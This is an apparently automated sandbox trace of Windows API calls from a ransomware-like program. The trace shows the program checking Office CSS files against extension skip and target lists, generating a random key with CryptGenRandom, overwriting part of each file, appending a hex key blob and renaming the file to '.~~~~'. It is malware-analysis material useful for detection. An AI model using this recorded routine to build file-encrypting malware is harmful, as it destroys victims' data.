	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".cmd") returned 0x0
	[0137.994] lstrlenW (lpString=".dll") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dll") returned 0x0
	[0137.994] lstrlenW (lpString=".bat") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".bat") returned 0x0
	[0137.994] lstrlenW (lpString=".cpl") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".cpl") returned 0x0
	[0137.994] lstrlenW (lpString=".sys") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".sys") returned 0x0
	[0137.994] lstrlenW (lpString=".msc") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".msc") returned 0x0
	[0137.994] lstrlenW (lpString=".com") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".com") returned 0x0
	[0137.994] lstrlenW (lpString=".lnk") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".lnk") returned 0x0
	[0137.994] lstrlenW (lpString=".msp") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".msp") returned 0x0
	[0137.994] lstrlenW (lpString=".pif") returned 4
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".pif") returned 0x0
	[0137.994] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.996] lstrlenW (lpString=".sqb") returned 4
	[0137.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".sqb") returned 0x0
	[0137.996] lstrlenW (lpString=".ost") returned 4
	[0137.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".ost") returned 0x0
	[0137.996] lstrlenW (lpString=".txt") returned 4
	[0137.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".txt") returned 0x0
	[0137.996] lstrlenW (lpString=".mdt") returned 4
	[0137.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".mdt") returned 0x0
	[0137.996] lstrlenW (lpString=".BDB") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".BDB") returned 0x0
	[0137.997] lstrlenW (lpString=".eql") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".eql") returned 0x0
	[0137.997] lstrlenW (lpString=".DBF") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DBF") returned 0x0
	[0137.997] lstrlenW (lpString=".EQL") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".EQL") returned 0x0
	[0137.997] lstrlenW (lpString=".FDB") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".FDB") returned 0x0
	[0137.997] lstrlenW (lpString=".EDB") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".EDB") returned 0x0
	[0137.997] lstrlenW (lpString=".DACPAC") returned 7
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.997] lstrlenW (lpString=".VHD") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".VHD") returned 0x0
	[0137.997] lstrlenW (lpString=".DBV") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DBV") returned 0x0
	[0137.997] lstrlenW (lpString=".dacpac") returned 7
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dacpac") returned 0x0
	[0137.997] lstrlenW (lpString=".sdf") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".sdf") returned 0x0
	[0137.997] lstrlenW (lpString=".accdb") returned 6
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".accdb") returned 0x0
	[0137.997] lstrlenW (lpString=".DBX") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DBX") returned 0x0
	[0137.997] lstrlenW (lpString=".MDT") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".MDT") returned 0x0
	[0137.997] lstrlenW (lpString=".SQB") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".SQB") returned 0x0
	[0137.997] lstrlenW (lpString=".vhd") returned 4
	[0137.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".vhd") returned 0x0
	[0137.998] lstrlenW (lpString=".bac") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".bac") returned 0x0
	[0137.998] lstrlenW (lpString=".mdf") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".mdf") returned 0x0
	[0137.998] lstrlenW (lpString=".BAK") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".BAK") returned 0x0
	[0137.998] lstrlenW (lpString=".BAC") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".BAC") returned 0x0
	[0137.998] lstrlenW (lpString=".dbs") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dbs") returned 0x0
	[0137.998] lstrlenW (lpString=".vhdx") returned 5
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".vhdx") returned 0x0
	[0137.998] lstrlenW (lpString=".NDF") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".NDF") returned 0x0
	[0137.998] lstrlenW (lpString=".dat") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dat") returned 0x0
	[0137.998] lstrlenW (lpString=".DBS") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DBS") returned 0x0
	[0137.998] lstrlenW (lpString=".CKP") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".CKP") returned 0x0
	[0137.998] lstrlenW (lpString=".edb") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".edb") returned 0x0
	[0137.998] lstrlenW (lpString=".PST") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".PST") returned 0x0
	[0137.998] lstrlenW (lpString=".dbf") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dbf") returned 0x0
	[0137.998] lstrlenW (lpString=".SQL") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".SQL") returned 0x0
	[0137.998] lstrlenW (lpString=".pst") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".pst") returned 0x0
	[0137.998] lstrlenW (lpString=".dbv") returned 4
	[0137.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dbv") returned 0x0
	[0137.999] lstrlenW (lpString=".SDF") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".SDF") returned 0x0
	[0137.999] lstrlenW (lpString=".dtxs") returned 5
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dtxs") returned 0x0
	[0137.999] lstrlenW (lpString=".db3") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".db3") returned 0x0
	[0137.999] lstrlenW (lpString=".OST") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".OST") returned 0x0
	[0137.999] lstrlenW (lpString=".dbx") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dbx") returned 0x0
	[0137.999] lstrlenW (lpString=".DB3") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DB3") returned 0x0
	[0137.999] lstrlenW (lpString=".DAT") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DAT") returned 0x0
	[0137.999] lstrlenW (lpString=".VHDX") returned 5
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".VHDX") returned 0x0
	[0137.999] lstrlenW (lpString=".ndf") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".ndf") returned 0x0
	[0137.999] lstrlenW (lpString=".DB") returned 3
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DB") returned 0x0
	[0137.999] lstrlenW (lpString=".sql") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".sql") returned 0x0
	[0137.999] lstrlenW (lpString=".MYD") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".MYD") returned 0x0
	[0137.999] lstrlenW (lpString=".DBT") returned 4
	[0137.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DBT") returned 0x0
	[0137.999] lstrlenW (lpString=".ACCDB") returned 6
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.000] lstrlenW (lpString=".fdb") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".fdb") returned 0x0
	[0138.000] lstrlenW (lpString=".bak") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".bak") returned 0x0
	[0138.000] lstrlenW (lpString=".myd") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".myd") returned 0x0
	[0138.000] lstrlenW (lpString=".DTXS") returned 5
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".DTXS") returned 0x0
	[0138.000] lstrlenW (lpString=".ckp") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".ckp") returned 0x0
	[0138.000] lstrlenW (lpString=".dbt") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".dbt") returned 0x0
	[0138.000] lstrlenW (lpString=".db") returned 3
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".db") returned 0x0
	[0138.000] lstrlenW (lpString=".TXT") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".TXT") returned 0x0
	[0138.000] lstrlenW (lpString=".MDF") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".MDF") returned 0x0
	[0138.000] lstrlenW (lpString=".bdb") returned 4
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".bdb") returned 0x0
	[0138.000] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.001] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.002] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.002] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.002] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25799206857) returned 1
	[0138.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbbb223b0, dwHighDateTime=0x1d60e1e)) 
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5038
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5038 | out: hHeap=0x300000) returned 1
	[0138.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cea10
	[0138.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cea10 | out: hHeap=0x300000) returned 1
	[0138.003] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.003] GetLastError () returned 0x0
	[0138.003] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.003] GetLastError () returned 0x0
	[0138.008] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.008] WriteFile (in: hFile=0x108, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0138.009] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.009] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.009] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.010] CloseHandle (hObject=0x108) returned 1
	[0138.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cea10
	[0138.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css.~~~~")) returned 1
	[0138.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cea10 | out: hHeap=0x300000) returned 1
	[0138.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.012] GetLastError () returned 0x0
	[0138.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".scr") returned 0x0
	[0138.012] lstrlenW (lpString=".cmd") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".cmd") returned 0x0
	[0138.013] lstrlenW (lpString=".dll") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dll") returned 0x0
	[0138.013] lstrlenW (lpString=".bat") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".bat") returned 0x0
	[0138.013] lstrlenW (lpString=".cpl") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".cpl") returned 0x0
	[0138.013] lstrlenW (lpString=".sys") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".sys") returned 0x0
	[0138.013] lstrlenW (lpString=".msc") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".msc") returned 0x0
	[0138.013] lstrlenW (lpString=".com") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".com") returned 0x0
	[0138.013] lstrlenW (lpString=".lnk") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".lnk") returned 0x0
	[0138.013] lstrlenW (lpString=".msp") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".msp") returned 0x0
	[0138.013] lstrlenW (lpString=".pif") returned 4
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".pif") returned 0x0
	[0138.013] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.016] lstrlenW (lpString=".sqb") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".sqb") returned 0x0
	[0138.016] lstrlenW (lpString=".ost") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".ost") returned 0x0
	[0138.016] lstrlenW (lpString=".txt") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".txt") returned 0x0
	[0138.016] lstrlenW (lpString=".mdt") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".mdt") returned 0x0
	[0138.016] lstrlenW (lpString=".BDB") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".BDB") returned 0x0
	[0138.016] lstrlenW (lpString=".eql") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".eql") returned 0x0
	[0138.016] lstrlenW (lpString=".DBF") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DBF") returned 0x0
	[0138.016] lstrlenW (lpString=".EQL") returned 4
	[0138.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".EQL") returned 0x0
	[0138.016] lstrlenW (lpString=".FDB") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".FDB") returned 0x0
	[0138.017] lstrlenW (lpString=".EDB") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".EDB") returned 0x0
